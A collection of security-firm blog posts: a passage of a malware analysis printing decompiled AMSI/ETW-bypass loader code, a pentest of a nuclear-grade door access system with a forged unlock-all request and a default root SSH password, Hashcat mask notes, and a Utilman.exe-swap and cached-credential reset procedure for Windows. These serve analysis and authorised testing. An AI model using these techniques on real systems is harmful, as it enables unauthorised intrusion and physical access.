		byte[] array = new byte[6] { 184, 87, 0, 7, 128, 195 };
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
		Marshal.Copy(array, 0, procAddress, array.Length);
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
	}

	public List<Dictionary<string, string>> Run(string Params)
	{
		List<Dictionary<string, string>> list = new List<Dictionary<string, string>>();
		Dictionary<string, string> dictionary = new Dictionary<string, string>();
		try
		{
			string[] array = Params.Split(new string[1] { "####" }, StringSplitOptions.None);
			AsemblyBytes = Convert.FromBase64String(array[0]);
			if (array.Length > 1)
			{
				if (array[1] == "etw")
				{
					BypassETW();
				}
				if (array[2] == "amsi")
				{
					BypassAmsi();
				}
				CommandLine = array[3];
			}
			list.Add(new Dictionary<string, string> { 
			{
				"exec_result",
				RunAssembly()
			} });
			dictionary.Add("status", "ok");
			list.Add(dictionary);
		}
		catch (Exception ex)
		{
			dictionary.Add("status", "error");
			dictionary.Add("msg", ex.Message);
			list.Add(dictionary);
		}
		return list;
	}
}

Thought the decompiled code of the two samples is almost identical, the files themselves have large differing parts. Maybe because afcb62...83676e was compiled in Release mode and b76e24...b8e038 was compiled in Debug mode.

  • C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Release\ExecuteAssembly.pdb
  • C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Debug\ExecuteAssembly.pdb

The TLSH difference of these two samples is 76, quite high but considering that ~25% of the bytes are different between the two samples (taking into account their shifts and offsets), it's not that much. Still this means that we need to look for similar samples to both of them separately.

Searching for similars to afcb62...83676e yields 11214 samples while b76e24...b8e038 has 1894 results with threshold 80. We dowloaded all of them and generated their source codes. Then we filtered those containing the case-insensitive string amsi in them. This gave us 61 samples 2 of these were the original ones.

Similarity search results in KSS to afcb62...83676e
Similarity search results in KSS to afcb62...83676e

None of these 63 samples are related or similar to the Assembly Executer V2 samples. They all implement some kind of AMSI bypass, mostly the same technique as the original samples but there are others as well. There are examples to ETW and WLDP bypasses as well. Further analysis of these samples is detailed in the related blog post.

Summary #

In this report we searched for similar samples to Assembly Executer V1 and V2 of Phantom Taurus. We found that the 3 original samples were inserted to Kaibou earlier than they were uploaded to VT. We analyzed the decompiled source codes of 22k .NET malware samples. Found two similar and one related samples to V1. The related sample currently has 0 detections on VirusTotal (1 year old analysis). There are 61 samples from the KSS similarity search results that contain some kind of AMSI bypass but all of them are quite different from the V2 samples. Their analysis is detailed in the related blog post

Samples # Attribute Value Name ServerCore.dll SHA256 eeed5530fa1cdeb69398dc058aaa01160eab15d4dcdcd6cb841240987db284dc TLSH ? KSS upload - VT upload - Relation Original IIServerCore backdoor Attribute Value Name ExecuteAssembly.dll SHA256 3e55bf8ecaeec65871e6fca4cb2d4ff2586f83a20c12977858348492d2d0dec4 TLSH ADC1940263E88729EDFA8F327D63975202B4B7218D63DE5E0CC4564B2D23A284D31B74 KSS upload 2024-09-18 20:54:29 UTC VT upload 2024-09-19 01:37:36 UTC Relation Original Assembly Executer V1 Attribute Value Name ExecuteAssembly.dll SHA256 afcb6289a4ef48bf23bab16c0266f765fab8353d5e1b673bd6e39b315f83676e TLSH F1D1D612DBF84726EDBA0F32FEF393040A31FB21AD53CB6F898955571D223145A22B61 KSS upload 2025-06-03 03:43:17 UTC VT upload 2025-06-04 04:14:02 UTC Relation Original Assembly Executer V2 Release PDB C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Release\ExecuteAssembly.pdb Attribute Value Name ExecuteAssembly.dll SHA256 b76e243cf1886bd0e2357cbc7e1d2812c2c0ecc5068e61d681e0d5cff5b8e038 TLSH 30E1E90997E44375ECBA0B32BDF797010B39F6129E63CB6F898C88471D2572816A1F71 KSS upload 2025-06-03 03:48:29 UTC VT upload 2025-06-04 04:13:58 UTC Relation Original Assembly Executer V2 Debug PDB C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Debug\ExecuteAssembly.pdb Attribute Value Name Stealth_Assembly_Loader.exe SHA256 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262 TLSH 15C1A51153E88B7AF9778B73AD7797450268F7218D53CF2D28C8560F6D022284D63B70 KSS upload 2023-06-21 22:04:04 UTC VT upload 2023-06-21 16:14:25 UTC Relation Similar to Assembly Executer V1 PDB C:\Users\tester\source\repos\Stealth_Assembly_Loader\Stealth_Assembly_Loader\obj\Release\Stealth_Assembly_Loader.pdb Attribute Value Name AssemblyLoader.exe SHA256 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257 TLSH B7B1841193D88332EFBB8B72BD736384537CFB61ACA79B6D24C4562B6D126144933B20 KSS upload 2025-02-09 05:28:13 UTC VT upload 2024-06-15 16:49:40 UTC Relation Similar to Assembly Executer V1 PDB E:\DFromYBLaptop\0000\scarg\AssemblyLoader\AssemblyLoader\obj\Release\AssemblyLoader.pdb Attribute Value Name EvalCode.dll SHA256 a77f418fbc3dfcd3e83b2806755a468c474da37889b85c00439e0626efaf9781 TLSH DAC1A516E3F4873AE5F60E3A7EA3926146B6F3205C63CA5E0CC4054E4C276610E32BB5 KSS upload 2024-09-18 20:54:29 UTC VT upload 2024-09-18 21:32:58 UTC Relation Related to Assembly Executer V1
https://blog.ukatemi.com/blog/2025-10-17-phantom-taurus-samples/
Pwning a nuclear-grade entrance control system easily
Show full content

Like in any field of critical infrastructure or manufacturing, physical protection is crucial in a nuclear facility. In case an adversary can penetrate the site, they may disrupt operations causing vast economic damage, steal radioactive material to be used later in terrorist attacks, or threaten human life in a wide range of ways.

Therefore, especially in the nuclear field, approaches in physical security are really formalized. It is often said that it has three different functions:

  • Detect: to stop an intruder, security personnel must be aware of their presence. The goal of this function is to raise attention of it, as soon as possible. Detection relies on physical intrusion detection systems, using sensors, surveillance cameras, a central alarm station (CAS) and so on.
  • Delay: after coming aware of an intrusion, personnel needs time to arrive on the spot - either they are the police coming from an external location or armed guards employed in the facility. If they let the attacker reach their goals before they get there, it is game over. "Delay" uses both passive barriers (walls, fences, barbed wire, etc.) and active ones (turnstiles, doors and gates with guards or automatic access control mechanisms, etc.).
  • Deter: this is kind of a two-in-one function. First, it means stopping an ongoing attack by capturing the intruders or forcing them retreat, applying lethal force if necessary. Second, it is best when it can prevent an attack. After all, if an attacker sees high fences and men with guns inside a facility, they might reconsider their plans before even trying.

We are cyber security experts and we can tell that cyber security also relies on physical protection - it is normally much easier to hack a device when we can get our hands on it, push buttons and see what is on its screen. However, physical security depends on cyber security, too. Each function might use computer-based systems, like digital cameras, monitoring stations or - entrance control systems performing authorization before unlocking doors. Hacking these can be troubling on its own, what's more, it can be a perfect opening of a planned physical attack.

What are we dealing with? #

In one project, we examined a complex physical protection system which incorporated access control in a nuclear facility. It had three doors with RFID card readers both from the inside and from the outside. When an employee touched their card to the reader, the system decided if they were authorized to open the respective door and if so, a controller unlocked the door for a few seconds. Although this system operated in a nuclear facility, this was only a test system. The operator had just bought it for training physical protection professionals and the whole thing was brand new. The supplier told us that it was rated grade 3 based on standard EN 50131-1, meaning it was eligible to be installed as a nuclear facility access control system.

Each of the three doors had a control board that managed the two card readers and the lock. These control boards were connected via - what we were told - an RS-485 bus, resulting in an architecture as below.

Architecture for doors and their controllers. Icons by Maniprasanth, Freepik on flaticon.com
Architecture for doors and their controllers. Icons by Maniprasanth, Freepik on flaticon.com

Since RS-485 is a bus, it is controlled by a master device (which was responsible for door number 1 in this system, displayed in red). The master will control access to the bus but otherwise each device can see every message sent through.

In this architecture, after an employee touches their card to a reader at say, door 2, the reader will report their card ID to the respective control board, which in turn will forward it to the master when given permission. If door 2 needs to be unlocked, the master will command control board 2 to do so and the latter will deactivate the lock attached to it accordingly.

However, this was a smart system with a ton of fancy features. It had a web interface for adding or updating employees, managing configuration and it provided functionality that required a more powerful computer. So, the full architecture looked like this:

A full view of system architecture. Icons by SBTS2018, Maniprasanth, Freepik on flaticon.com
A full view of system architecture. Icons by SBTS2018, Maniprasanth, Freepik on flaticon.com

The master control board was connected to a plain old, Ethernet-based computer network via a regular switch. The same network had an access control server to provide all those fancy features and the supplier also installed a Windows-based PC to access the web interface and configure everything.

Now, when an employee touched their card to one of the readers, their card ID was sent to the master controller in the same way as described above. But the master forwarded it to the server through the network, then the server performed authentication and authorization. If it was necessary to open any doors, the server commanded the master board over the network, which notified the slave over the bus (unless the specific door was the one directly connected).

Our goals #

We assumed the role of attackers in this project. As such, our goals were simple:

  1. Compromise as many parts of the system as possible
  2. Preferably open a door remotely, without a card
Attack against the RS-485 bus #

Looking at the architecture above, the weakest link seemed to be the RS-485 bus. RS-485 is a really low level protocol, it can only carry binary 1's and 0's between devices - it's a bit like Ethernet in the IT world. Knowing this, we assumed the boards didn't do anything much more complex, like encryption or message integrity protection. In addition, bus wires must run throughout whole buildings, likely through areas where random visitors can walk in. Thus, tapping RS-485 sounds fairly realistic. We hoped we can just record the command that opens a door and later replay it. Or if it fails, we hoped the binary protocol would be easy to reverse engineer, allowing us to construct and inject valid commands.

Luckily, one of us had a USB-to-RS485/422 adapter that we could use to get into a man-in-the-middle position just in between the master board and the first slave. This adapter is quite easy to use by the way, on Linux it shows up in /dev as a tty, so one could just read and write data on it, thus intercepting and injecting data on the bus.

Attack against the bus. Icons by SBTS2018, Maniprasanth, Freepik on flaticon.com
Attack against the bus. Icons by SBTS2018, Maniprasanth, Freepik on flaticon.com

Quickly, we started reading data from the bus, while opening several doors with RFID cards - but all we could read was garbage, if we got data at all. It was immensely confusing and frustrating after some time. Then, we found something in the technical specs of the control boards:

Part of the tech specs for the control boards. Source: website of manufacturer.
Part of the tech specs for the control boards. Source: website of manufacturer.

As it turns out, control boards do not speak proper RS-485, no wonder our adapter didn't work. Instead, they speak a custom, proprietary protocol called 485bus, which is only based on the original and open source RS485. What a bummer.

This project was not some traditional penetration testing or red teaming, so we had the luxury of asking for documentation of 485bus from the supplier. They told us that they don't have any, however they would ask the manufacturer directly. A few weeks later, we received an email from them, that said:

They will not release any documentation on the protocol for the very reason your Cyber Security team are asking for it. If they release any such information, it could be reverse engineered and hacked!

The supplier even added that this is "not what you want to hear". On the contrary! As an attacker, this is exactly what we want to hear. The manufacturer literally said that if we learn anything about the protocol, we could easily compromise it! Again, this is a grade 3 physical protection system, which could be (and is) used in high-risk nuclear facilities! Sadly, we didn't do anything with this knowledge, as we received this email after the project ended and we managed to compromise everything anyway...

That said, we considered tapping the RS-whatever bus a failed attempt. Or a partially failed attempt, more exactly, as we found that although our adapter didn't work perfectly, it could still be used to inject random garbage into the bus. If we did it fast enough, it made messages on the bus incomprehensible for the conrol boards, so no card identifier or door open commands could get through. That means we could essentially disable almost every door. Still a nice attack, as now not even guards can get through, slowing their response a lot.

Attack 2: finally opening the doors #

After MitM on the bus was a dead end, we needed another idea. We admit, we wasted really much time getting one. But at one point, as we were looking through the web-based configuration UI from the configurator PC, we found a highly interesting view. Sadly, no screenshots have been made but it looked something like this:

"Screenshot" of the view showing a table of door data.
"Screenshot" of the view showing a table of door data.

At a first glance, this is nothing special. Just a table of all the doors' most important data. It also has a button for every door to unlock and when we tried clicking them, the respective door did unlock, as one shall expect. This means the doors can be opened remotely, without successful authentication! Can we abuse this feature?

We opened the dev tools in Firefox and started looking at the request sent out on click. For door 2, it was this (HTTP headers simplified).

PUT /something/provide-access HTTP/1.1
Host: access_control_server

{
	"content": {
		"entrances": [2]
	},
	"type": null
}

Readers familiar with web technologies probably spotted the same thing as we did. This is an HTTP PUT request which carries a JSON body. Probably the most important line is "entrances": [2] which tells the server which door to unlock. The brackets should be noticed: they tell us that this field does not expect just one number, it expects a list. So we tried editing the request like "entrances": [1,2,3] for all of the doors we had. We sent our new request and boom! All of the doors were unlocked at the same time.

At this point this is of course not an attack. It is just how this system works, even if a little twisted. Still, we knew that the password for the configuration website was very simple, just some lowercase letters. We combined our forged request with a brute-force password guess, and we already had an attack flow that

  1. Obtained a session after a successful brute-force attack
  2. Used that session to unlock every door, at the same time.

This attack only requires a malicious actor to be on the same network as the access control server. It was easy in our test environment but it can be quite hard inside a nuclear power plant due to all the security levels and zones as defined in IAEA NSS 33-T and national standards. In facilities having the usual 5 levels (1 being the strictest and 5 the least secure), such physical control systems go to level 2 or 3, meaning any attacker has to overcome at least three defensive boundaries before even starting the brute-force.

Attack to pwn the master control board #

After abusing the remote door opening feature, it is worth to step back and think about how it could work. Trivially, the server has to send some command over the network to the master control board, so that it can forward it to slaves. Thus, we wanted to take a deeper look at the master device and their link to with the server, to potentially make our attack more elegant or to find something else. Discovering open ports on the master seemed like a good start and nmap really provided us with valuable info.

It is important to say that one should not scan the network in an Operational Technology (OT) environment like this one. It could cause all sort of trouble, leading to outage which counts as a really painful event here. But this was a test system so we had nothing to lose.

$ sudo nmap -p- -sV -O 1.2.3.4       # IP address of the master control board
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-30 15:51 CET
Nmap scan report for 1.2.3.4
Host is up (0.0013s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH 8.2 (protocol 2.0)
1099/tcp open  java-rmi     Java RMI
8081/tcp open  http-proxy   Ncat http proxy (Nmap 4.85BETA1 or later)
8181/tcp open  intermapper?
8182/tcp open  java-rmi     Java RMI
8183/tcp open  java-rmi     Java RMI
8184/tcp open  java-rmi     Java RMI
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8181-TCP:V=7.94%I=7%D=1/30%Time=65B90D2D%P=x86_64-pc-linux-gnu%r(Fo
SF:urOhFourRequest,7,"\x15\x03\x03\0\x02\x01\0")%r(LDAPSearchReq,7,"\x15\x
SF:03\x03\0\x02\x01\0");
MAC Address: 01:02:03:04:05:06 (Redacted Manufacturer)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 194.88 seconds

Java RMI stands for Java Remote Method Invocation. Given we knew that the software providing the web interface was written in Java, it was obvious that this was used for sending commands. Despite that, we did not investigate it as our team had no experience with Java RMI at that point, instead we found port 22 much more exciting.

OpenSSH version 8.2 was fairly new at that time and we could not find any easy exploits on that. So what does a hacker do next? Googles if some default credentials can be found. So we searched the term "[device name] default password" and we found some watermarked PDF which seemed to be some setup guide. And it had a default username-password combo!

Screenshot of a setup guide showing default credentials. Device names and brands censored.
Screenshot of a setup guide showing default credentials. Device names and brands censored.

Of course we tried these credentials and they worked like a charm.

$ ssh root@master_board
root@master_board's password: grolle

root@master_board:~# uname -a
Linux something_redacted 5.15.75-yocto-standard-custom #1 SMP PREEMPT Wed Oct 26 10:35:57 UTC 2022 aarch64 GNU/Linux

The master board looked like a Linux-based device with the hardware clock being more than a year off. It also had interesting commands, like

  • Vendor-related commands to see door event logs, edit configuration, etc.
  • Everything a small Linux system has, but including some other tools, we assume dependencies of the vendor stuff.
  • A command called getcve which unironically dumped CVE details of every vulnerability affecting any software component on the device, including its status (not affected/fixed/unpatched). This is actually a gold mine for any attacker. We could analyze this list containing hundreds of unpatched (!) CVEs to find other methods to attack. We suspect this command had been used for some auditing/debug purposes and had been accidentally left on the device after shipping.
What went wrong? #

It is important to say that our attacks worked in a small test system, albeit it was built using the same requirements as in a nuclear facility. So are nuclear facilities insecure now? No. In a real facility there numerous other defensive measures that would have stopped us, at least using our approach. Still, this story highlights how small misconfigurations and other weaknesses can cause a system to fail, even it is deemed very secure. Also, none of our attacks are really difficult or require great expertise. We have done much more complex things in other projects. Thus, it is crucial to understand what lead to these vulnerabilities and how to protect against them.

During our time, we discovered several small mistakes:

  • Weak (proprietary) protocol
  • Weak password
  • Default (and weak) password
  • Debug commands left on access control boards

None of these mistakes were made by the organization that purchased and used the system. They were made by suppliers, suppliers' suppliers and so on. The weak password for the web interface had been set by the system integrator, who probably assumed the end user will change it anyway. The default password for the master control board was also kind of a miscommunication, as the integrator just followed the setup guide issued by the manufacturer - which forgot to include saying anything about changing that password. In fact, when we asked the integrator about it, they didn't even know about the existence of an SSH access. These mistakes were (almost for sure) not made intentionally, it's just that humans work at every company and get things wrong.

So all of the vulnerabilities we could exploit come down to the supply chain, emphasising the importance of supply chain security. For the nuclear industry, the International Atomic Energy Agency has great guidance on defending against supply chain threats, which comes down to a formalized procurement process where the end user will check and verify its suppliers and purchased goods. To find out more about it, read the freely available document IAEA TDL-011.

https://blog.ukatemi.com/blog/2024-10-04-pwning-a-nuclear-grade-door-acs/
About Hashcat mask processing
Show full content
The task #

Crack this SHA1 hash: 4e174bbc3e0a536aa8899d1f459318f797dc325a

We have a machine with two NVIDIA GeForce RTX 4090 cards, so hash performance is GREAT!

$ hashcat -m 100 -b
Speed.#1.........: 47426.7 MH/s (44.94ms) @ Accel:32 Loops:1024 Thr:512 Vec:1
Speed.#2.........: 49805.4 MH/s (42.75ms) @ Accel:32 Loops:1024 Thr:512 Vec:1
Speed.#*.........: 97232.1 MH/s

So the second card has ~50000 MH/s speed. Let's work with that.

If we know the length of the input string and the character classes, we can set a mask:

# -m 100                    SHA1
# -a 3                      brute-force
# ?a?a?a?a?a?a?a?a?a?a?a    the pattern (all ascii)
# -w 3                      workload profile
$ hashcat -m 100 hash.txt -a 3 ?a?a?a?a?a?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........: 48521.0 MH/s (21.73ms) @ Accel:512 Loops:512 Thr:32 Vec:1

It's cracking with full speed (50000 MH/s). What if we knew the first 4 characters?

$ hashcat -m 100 hash.txt -a 3 ABCD?a?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........:   509.4 MH/s (0.22ms) @ Accel:512 Loops:1 Thr:32 Vec:1

Oh hell no! Why is it just 500 MH/s, 100x slower? All we did was help it! As it turns out from the docs:

In Hashcat, we accomplish this by splitting attacks up into two loops: a “base loop”, and a “mod(ifier) loop.” The base loop is executed on the host computer and contains the initial password candidates (the “base words.”) The mod loop is executed on the GPU, and generates the final password candidates from the base words on the GPU directly. The mod loop is our amplifier – this is the source of our GPU acceleration.

What happens in the mod loop depends on the attack mode. For brute force, a portion of the mask is calculated in the base loop, while the remaining portion of the mask is calculated in the mod loop.

Ok, so our loops are not generating enaugh input for the GPU to process. But why would setting characters slow generation down, shouldn't it just generate more candidates based on the other ?as?

What if we set only 2 characters?

$ hashcat -m 100 hash.txt -a 3 AB?a?a?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........: 49389.4 MH/s (41.93ms) @ Accel:32 Loops:1024 Thr:512 Vec:1

Ok, it's back to full speed. What about 3 characters?

$ hashcat -m 100 hash.txt -a 3 ABC?a?a?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........: 25247.6 MH/s (3.98ms) @ Accel:64 Loops:95 Thr:256 Vec:1

Half speed (25000 MH/s). Hmmm, ok, what if we set even more characters, for example 6? And a few more ?as in order not to finish in 1s.

$ hashcat -m 100 hash.txt -a 3 ABCDEF?a?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........:   508.5 MH/s (0.22ms) @ Accel:512 Loops:1 Thr:32 Vec:1

Ok, so it doesn't go lower than that.

Now what if we set 4 characters, but not the first 4?

$ hashcat -m 100 hash.txt -a 3 ?a?a?a?a?a?a?aHIJK --optimized-kernel-enable -w 3
Speed.#2.........: 49815.8 MH/s (42.71ms) @ Accel:32 Loops:1024 Thr:512 Vec:1

What on Earth?! It's back to full speed. So if we set the first 4 characters, it's 100x slower than if we set the last 4 characters? Why does it matter which characters we set?

This could only mean one thing. The parallelization of the input generation from the mask is solely split by the first 2-3 characters. So by setting those, we eliminate ~99% of the parallel generators, so only 1% generates the inputs which is not enaugh for the GPU, because it could compute SHA1 faster.

We can verify this by setting charactes 2-5 and letting 1. be only digits (10 candidates). This should allow 10x more parallel generators than in the slowest case, so speed should be ~500 MH/s * 10 = 5000 MH/s.

$ hashcat -m 100 hash.txt -a 3 ABCDE?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........:   526.4 MH/s (0.22ms) @ Accel:512 Loops:1 Thr:32 Vec:1

$ hashcat -m 100 hash.txt -a 3 ?dBCDE?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........:  4802.7 MH/s (0.45ms) @ Accel:256 Loops:10 Thr:64 Vec:1

$ hashcat -m 100 hash.txt -a 3 ?d?dCDE?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........: 25782.5 MH/s (4.19ms) @ Accel:64 Loops:100 Thr:256 Vec:1

$ hashcat -m 100 hash.txt -a 3 ABCD?d?a?a?a?a?a?a --optimized-kernel-enable -w 3
Speed.#2.........:   509.8 MH/s (0.22ms) @ Accel:128 Loops:1 Thr:128 Vec:1

Whoa, it worked! it's actually 10x more! And the other variants prove that although the password candidate space is the same, it can only generate them paralelly if the first 2-3 characters have multiple candidates.

So it's better to know what a password ends with, then what it starts with. Remember that, until a better implementation comes along.

https://blog.ukatemi.com/blog/2024-09-04-hashcat-masks/
From disk image to offline windows AD account login
Show full content
tl;dr #
  1. create a writeable overlay .qcow2 image backed by the read-only base image
  2. attach the disk with qemu-nbd
  3. mount the windows system partition
  4. replace Utilman.exe with cmd.exe
  5. copy SECURITY and SYSTEM registry hives from the mounted partition
  6. create a UEFI virtual machine using Virtual Machine Manager with the .qcow2 attached
  7. boot up the machine, click on the accessibility icon in the bottom right corner
  8. you get an Administrator shell, change the admin password with net user
  9. close the terminal and login with Administrator
  10. copy SysInternals to the machine and launch a cmd.exe with psexec in the name of user SYSTEM
  11. on the host machine execute mscache3.py acquire a reg command that resets the cached user password hash to a known value
  12. execute the reg command
  13. log out and login to the target account
Detailed Steps # Acquiring files #

We received the following files:

-rwxr-xr-x 1 root root 256060514304 Aug 26 14:30  disk.001
-rwxr-xr-x 1 root root          465 Aug 26 14:30  disk.vmdk

The .vmdk just links to the flat file disk.001:

# disk.vmdk
# ---
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=...
parentCID=ffffffff
createType="monolithicFlat"

# Extent description
RW 500118192 FLAT "D:\disk.001" 0

# The Disk Data Base
#DDB

ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "31130"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "..."
ddb.uuid = "..."
ddb.virtualHWVersion = "7"

So actually we don't even need the .vmdk file because the disk.001 is just a byte-by-byte copy of the original disk. We could even rename it to .img, .dd, or .raw.

What we want to do is to create a new, writable disk image, backed by this read-only flat file, so only modifications are written to the new file. This is what .qcow2 is for:

# create a qcow2 formatted file backed by disk.001 raw image
qemu-img create -f qcow2 -b disk.001 -F raw disk-live.qcow2

Now we can attach this file to our system as a block device with qemu-nbd:

# load nbd module if no already loaded
modprobe nbd
qemu-nbd --connect /dev/nbd2 disk-live.qcow2
# lsblk
nbd2         43:64   0 238.5G  0 disk
├─nbd2p1     43:65   0   300M  0 part
├─nbd2p2     43:66   0   500M  0 part
├─nbd2p3     43:67   0   128M  0 part
├─nbd2p4     43:68   0 236.9G  0 part
└─nbd2p5     43:69   0   628M  0 part

Now we'd like to mount the the windows system partition (nbd2p4):

mkdir /mnt/tmp4
mount /dev/nbd2p4 /mnt/tmp4

Now we have acccess to the complete NTFS filesystem. What we'd like to do is overwrite Utilman.exe with cmd.exe:

cp /mnt/tmp4/Windows/System32/Utilman.exe{,.bak}
cp /mnt/tmp4/Windows/System32/{cmd.exe,Utilman.exe}

Also copy the SYSTEM and SECURITY registry hives cause we'll need them later:

cp /mnt/tmp4/Windows/System32/config/{SYSTEM,SECURITY} ./

Then detach the image:

umount /mnt/tmp4
qemu-nbd -d /dev/nbd2
Working with the VM #

I was using Virtual Machine Manager (aka virt-manager) to create and manage the VM as it was more convenient, but feel free to use virsh.

  1. Create a new virtual machine
  2. Select UEFI instead of BIOS.
  3. Add the disk.

Here is my config file: vm.xml

Now boot up the machine and after seeing the login screen click on accessiblity tools in the bottom right corner. A Command Propt should open. If you execure whoami, you should be NT AUTHORITY\SYSTEM.

Logged in as NT AUTHORITY\SYSTEM
Logged in as NT AUTHORITY\SYSTEM

By executing net accounts, you should see the minimal password length and other configurations. You can change the minimal password length to 2 with net accounts /minpwlen:2. Complex passwords are probably set by default which means at least 3 of the following characted classes are required: uppercase, lowercase, digits, special characters. Now we can change the administrator password with:

net user Administrator Admin123

Close the Command Prompt and login with Administrator and Admin123.

Logging in as offline AD user #

By default, Windows caches AD logins (for the last 10 accounts) so that the user can login to their machine even if the AD network is inaccessible. You can check this at the following registry key:

HKLM > SOFTWARE > Microsoft > Windows NT > CurrentVersion > Winlogon  ->  CachedLogonsCount = 10

This means that the login hashes are stored and compared offline. Can we change them to a known value? Yes, of course we can!

Login caches are stored in the SECURITY hive under HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$1 through NL$10, but they are obfuscated BLOBs. Obfuscated means that they are encrypted with the NL$KM key that can be queried from the SECURITY registry hive under: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\NK$LM. Thankfully others have already done the reverse engineering so a python2 script is available: mscache.py But we have a python3 version: mscache3.py You can use it like this:

# list the cached entries
python3 ./mscache3.py --system ./SYSTEM --security ./SECURITY
# modify password for a user
# note that this doesn't change the hive files, only prints a reg command that you can use to change it
python3 ./mscache3.py --system ./SYSTEM --security ./SECURITY --user TargetUser --password Admin123!

For example the output reg command might look like this:

reg add "HKEY_LOCAL_MACHINE\SECURITY\Cache" /v "NL$2" /t REG_BINARY /d <REDACTED> /f

Now all you need to do is get a Command Prompt as NT AUTHORITY\SYSTEM and execute the output of mscache3.py:

PsExec.exe -s -i -d cmd.exe

Now you can log out and log back in with TargetUser and Admin123.

https://blog.ukatemi.com/blog/2024-08-27-windows-disk-login/
Ansible - Show output of long running command
Show full content
Problem #

There's no built in solution in Ansible to be able to see the output of a long running command as it exeecutes.

You can register a task's output and then print its output with the debug module after it has finished, but not while it is running:

- name: Echo command
  command: echo "hello"
  register: hello

- name: Print output
  debug:
    msg: "{{ hello.stdout }}"
Async task #

There's an official-ish solution: you can mark a task async and poll it. Setting the poll parameter to 0 tells Ansible to start the task and move on to the next one, making this task run in the background asynchronously. Registering this asnyc task and using the async_status module you can wait for it to complete and get "pings" whether it is still executing and not hanging.

---
- hosts: localhost
  tasks:
  - name: Simulate long running op, allow to run for 45 sec, fire and forget
    ansible.builtin.shell: |
      /bin/sleep 15
      echo test
      /bin/sleep 15
    async: 45
    poll: 0
    register: sleeper

  - name: Check on async task
    async_status:
      jid: "{{ sleeper.ansible_job_id }}"
    register: res
    until: res.finished
    retries: 100
    delay: 10

But this still does not show the output of the command that you are running, and for example when downloading large files using rsync it can be useful to see the progress and download rate.

Solution #

So the solution we came up with is to

  1. Start the long running command
    • mark it async,
    • set poll to 0,
    • register the Ansible task's output,
    • and most importantly pipe its standard output into a file
      (this file will be created on the node on which the command is being executed on)
  2. Using a custom Ansible action plugin written in python you can poll the file and print it essentially seeing the output of the command.

The 2 Ansible tasks described above look like this:

---
- name: Start rsync for folder {{ dir_to_sync }}
  become: true
  ansible.builtin.shell:
    executable: /bin/bash
    cmd: |
      set -o pipefail; /usr/bin/rsync --info=progress2 --info=name0 --delay-updates --compress --archive --update --partial \
      --rsh='/usr/bin/ssh -S none -i /home/debian/.ssh/id_ed25519 -o Port=6363 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null' \
      --out-format='<<CHANGED>>%i %f%L' dev-read@{{ template_provider_host }}:/data/{{ dir_to_sync }} /data/{{ dir_to_sync }} | tee {{ rsync_log_file }}
  async: 86400
  poll: 0
  register: rsync_out
  changed_when: true

- name: Follow download status ({{ dir_to_sync }})
  become: true
  print_download_status:
    status_file: "{{ rsync_log_file }}"
    async_job: "{{ rsync_out }}"

Notes:

  • the pipefail option ensures that tasks fail as expected if the first command fails
  • rsync's --rsh= parameter is used to specify the remote shell command, so you can specify additional parameters for ssh, like which private key, port to use
  • | tee is used to write to both stdout and to a file (but also > {{ rsync_log_file }} should be enough, which just writes into a file)
  • the custom Ansible action is called using the python file's name (print_download_status), the file's path and the async job's register has to be passed as parameters to it
Custom Ansible action plugin #

You can write your own python code which then can be called by Ansible creating your own kind of tasks.
These can be either modules or plugins. The main difference between them is that modules run on target machines, while plugins run on the control node (that starts the ansible-playbook command).

You have to specify in an ansible.cfg file where Ansible should look for plugins by assigning the folder's path to the action_plugins key, which is under the [defaults] section.

The print_download_status plugin #

You have to create a python file with the name you want to call your own kind of ansible tasks with. We called ours print_download_status.py.
You have to create an ActionModule class which extends the ActionBase class for action plugins.
From the custom plugins code you can call built in ansible modules (self._execute_module method), which will execute on the remote target host.

Using the command module we run stat on the long running command's stdout file, this way we get its size. We use this information to only read the number of bytes we haven't read since our last read out (head -q -c {stat_reported_bytes} {status_file} | tail -q -c +{bytes_read_so_far}). We print this text, and repeat these steps in a loop until the async job finishes, which can be checked by calling the async_status module and passing the asynchrounous job's id to it.

You can try it out by running the provided example, async_task.yml:

ansible-playbook async_task.yml
https://blog.ukatemi.com/blog/2024-06-11-ansible-show-output-of-long-running-command/
HTB Business CTF 2024 - pwn - abyss
Show full content
TL;DR #

There is a byte copy in cmd_login() that copies until 00 and our input is not terminated after read, so there is a stack buffer overflow. The trick is that the index i is also in the path of the overwrite so we can jump over RBP to write on RET and not corrupt it.

This challenge was marked easy (34 solves).

The task #

